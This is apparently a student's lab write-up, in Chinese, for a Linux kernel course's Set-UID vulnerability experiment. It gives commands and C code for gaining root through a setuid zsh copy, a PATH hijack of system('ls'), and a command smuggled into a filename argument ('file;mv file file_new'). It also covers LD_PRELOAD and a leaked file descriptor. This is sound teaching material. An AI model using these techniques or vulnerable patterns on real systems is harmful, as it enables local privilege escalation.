2020-2021-1 20209327 《Linux内核原理与分析》第十二周作业
SET-UID程序漏洞实验
作业信息
| 这个作业属于哪个课程 | <2020-2021-1Linux内核原理与分析）> |
|---|---|
| 这个作业要求在哪里 | <2020-2021-1Linux内核原理与分析第十二周作业> |
| 这个作业的目标 | <SET-UID程序漏洞实验> |
| 作业正文 | https://www.cnblogs.com/TracerElena/p/14184136.html |
实验目标
Set-UID是 Unix 系统中的一个重要的安全机制。当一个Set-UID程序运行的时候，它被假设为具有拥有者的权限。例如，如果程序的拥有者是 root ，那么任何人运行这个程序时都会获得程序拥有者的权限。
本次实验的目标有两点：
- 理解为什么需要
Set-UID，以及它是如何被执行的。 - 理解它潜在的安全性问题。
运行 Set-UID 程序
在 Linux 环境下运行Set-UID程序。
以 root 方式登录，拷贝 /usr/bin/zsh 到 /tmp, 同时设置拷贝到 tmp 目录下的 zsh 为 set-uid root 权限，然后以普通用户登录，运行 /tmp/zsh。可以看到，普通用户运行 tmp 目录下的 zsh 获得了 root 权限。
拷贝 /bin/bash 到 /tmp 目录，同时设置 /tmp 目录下的 bash 为 Set-UID root 权限，然后以普通用户登录，运行 /tmp/bash。可以看到，运行 tmp 目录下的 bash 不能获得 root 权限。
可见，对于同样的操作，运行复制的 zsh 可以获得 root 权限，而 bash 不能。
Bash 内在保护机制
/bin/bash有某种内在的保护机制可以阻止Set-UID机制的滥用。为了能够体验这种内在的保护机制出现之前的情形，可以使用另外一种shell程序——/bin/zsh。在一些 linux 的发行版中（比如 Fedora 和 Ubuntu），/bin/sh 实际上是 /bin/bash 的符号链接。为了使用 zsh，需要把 /bin/sh 链接到 /bin/zsh。
把默认的shell指向zsh：
cd /bin
sudo su
ls -ls sh
rm sh
ln -s zsh sh
ls -la sh
PATH 环境变量的设置
system(const char * cmd)系统调用函数被内嵌到一个程序中执行一个命令，system() 调用 /bin/sh 来执行 shell 程序，然后 shell 程序去执行 cmd 命令。但是在一个 Set-UID 程序中 system() 函数调用 shell 是非常危险的，这是因为 shell 程序的行为可以被环境变量影响，比如 PATH；而这些环境变量可以在用户的控制当中。通过控制这些变量，用心险恶的用户就可以控制Set-UID程序的行为。
下面的Set-UID程序被用来执行 /bin/ls 命令；然后程序员可以为 ls 命令使用相对路径，而不是绝对路径。在 /tmp 目录下新建 test.c 文件
cd /tmp
vi test.c
输入如下内容：
int main()
{
system("ls");
return 0;
}
把 /bin/sh 拷贝到 /tmp 目录下面重命名为 ls（先要确保 /bin/ 目录下的 sh 符号链接到 zsh，而不是 bash），将环境变量 PATH 设置为当前目录 /tmp，运行编译的程序 test，就可以获得 root 权限。
cd /tmp
sudo su
gcc -o test test.c
chmod u+s test
exit
cp /bin/sh /tmp/ls
PATH=/tmp/
echo $PATH
./test
恢复环境变量 PATH ，然后修改 /bin/sh 使得其返回到 /bin/bash，重复上面的攻击，运行test程序时不能获得root权限。
sudo su
cd /bin
rm sh
ln -s bash sh
ls -ls sh
exit
cd /tmp
./test
可见修改 sh 连接回 bash，运行 test 程序不能使普通用户获得 root 权限。
system() 和 execve() 的不同
首先确保 /bin/sh 指向zsh:
sudo su
cd /bin
rm sh
ln -s zsh sh
恢复PATH为PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
一个SET-ROOT-UID程序，需要用户在命令行中打出一个文件名，然后运行 /bin/cat 命令显示这个文件。这个程序是以 root 权限运行的，可以显示用户想看的任何一个文件。然而，这个程序没有写操作，用户不能用这个程序修改任何文件。
首先在 /tmp 目录下新建 SRU.c 文件，内容如下：
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *v[3];
if(argc < 2)
{
printf("Please type a file name.\n");
return 1;
}
v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = 0;
//Set q = 0 for Question a, and q = 1 for Question b
int q = 0;
if (q == 0)
{
char *command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command, "%s %s", v[0], v[1]);
system(command);
}
else execve(v[0], v, 0);
return 0 ;
}
程序中有 q=0，程序会使用 system() 调用命令行。这个命令不安全，用户可能会出于好奇或者个人利益驱使阅读或者修改只有 root 用户才可以运行的一些文件。比如：file 文件只有 root 用户有读写权限，但普通用户通过运行该程序，阅读并将 file 文件重命名为 file_new ：
ls -la /bin/sh
cd /tmp
sudo su
gcc -o SRU SRU.c
chmod u+s SRU
touch file
exit
ls -la file;ls -la SRU
./SRU "file;mv file file_new"
ls
修改为 q=1 后，不会有效。前面步骤之所以有效，是因为 system() 函数调用 /bin/sh，链接至 zsh，具有 root 权限执行了 cat file 文件后，接着执行 mv file file_new 命令。而当令 q=1，execve() 函数会把 file; mv file file_new 看成是一个文件名，系统会提示不存在这个文件：
LD_PRELOAD 环境变量
为了保证 Set-UID 程序在 LD_PRELOAD 环境的操纵下是安全的，动态链接器会忽略环境变量，但是在某些条件下是例外的，在下面的任务中，我们猜测这些特殊的条件到底是什么。
建立一个动态链接库。把下面的程序命名为 mylib.c，放在 /tmp 目录下。在函数库 libc 中重载了 sleep 函数：
#include <stdio.h>
void sleep (int s)
{
printf("I am not sleeping!\n");
}
在终端用下面的命令编译上面的程序：
gcc -fPIC -g -c mylib.c
gcc -shared -Wl,-soname,libmylib.so.1 \
-o libmylib.so.1.0.1 mylib.o –lc
把下面的程序命名为 myprog.c，放在 /tmp 目录下：
int main()
{
sleep(1);
return 0;
}
- 把 myprog 编译成一个普通用户下的程序在普通用户下运行。可见，它会使用 LD_PRELOAD 环境变量，重载 sleep 函数：
export LD_PRELOAD=./libmylib.so.1.0.1
echo $LD_PRELOAD
gcc myprog.c -o myprog
./myprog
- 把 myprog 编译成一个 Set-UID root 的程序在普通用户下运行。在这种情况下，忽略 LD_PRELOAD 环境变量，不重载 sleep 函数，使用系统自带的 sleep 函数：
sudo su
export LD_PRELOAD=./libmylib.so.1.0.1
gcc myprog.c -o myprog
chmod u+s myprog
exit
./myprog
- 把 myprog 编译成一个 Set-UID root 的程序在 root 下运行。在这种情况下，使用 LD_PRELOAD 环境变量，使用重载的 sleep 函数：
sudo su
export LD_PRELOAD=./libmylib.so.1.0.1
gcc myprog.c -o myprog
chmod u+s myprog
./myprog
- 在一个普通用户下把 myprog 编译成一个 Set-UID 普通用户的程序在另一个普通用户下运行。需要先使用命令 rm myprog 把之前编译生成的 myprog 文件删掉。在这种情况下，不会重载 sleep 函数：
sudo su
useradd -d /usr/SYL -m SYL
su SYL
export LD_PRELOAD=./libmylib.so.1.0.1
gcc myprog.c -o myprog
chmod u+s myprog
su shiyanyou
./myprog
由以上四种情况可见：只有用户自己创建的程序自己去运行，才会使用 LD_PRELOAD 环境变量，重载 sleep 函数，否则的话忽略 LD_PRELOAD 环境变量，不会重载 sleep 函数。
消除和清理特权
为了更加安全，Set-UID程序通常会调用 setuid() 系统调用函数永久的清除它们的 root 权限。然而有些时候，这样做是远远不够的。在 root 用户下，在 /tmp 目录新建一个空文件 zzz。在 root 用户下将下面代码命名为 test2.c，放在 /tmp 目录下，编译这个程序，给这个程序设置 root 权限。在一个普通的用户下，运行这个程序。
sudo su
touch zzz
vim test2.c
//test2.c
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
int main(){
int fd;
fd = open("/tmp/zzz",O_RDWR|O_APPEND);
sleep(1);
setuid(getuid());
pid_t pid ;
if( ( pid = fork() ) < 0 )
perror("fork error");
else if( pid == 0 ){
// child process
write( fd , "shiyanlou!" , 10 );
}
int status=waitpid(pid,0,0);
close(fd);
return 0;
}
gcc -o test2 test2.c
chmod u+s test2
exit
ls -la zzz;ls -la test2
./test2
cat zzz
如图所示文件被修改了，原因在于设置 uid 前，zzz 文件就已经被打开了。只要将语句 setuid(getuid()) 移至调用 open 函数之前，就能避免这个问题。
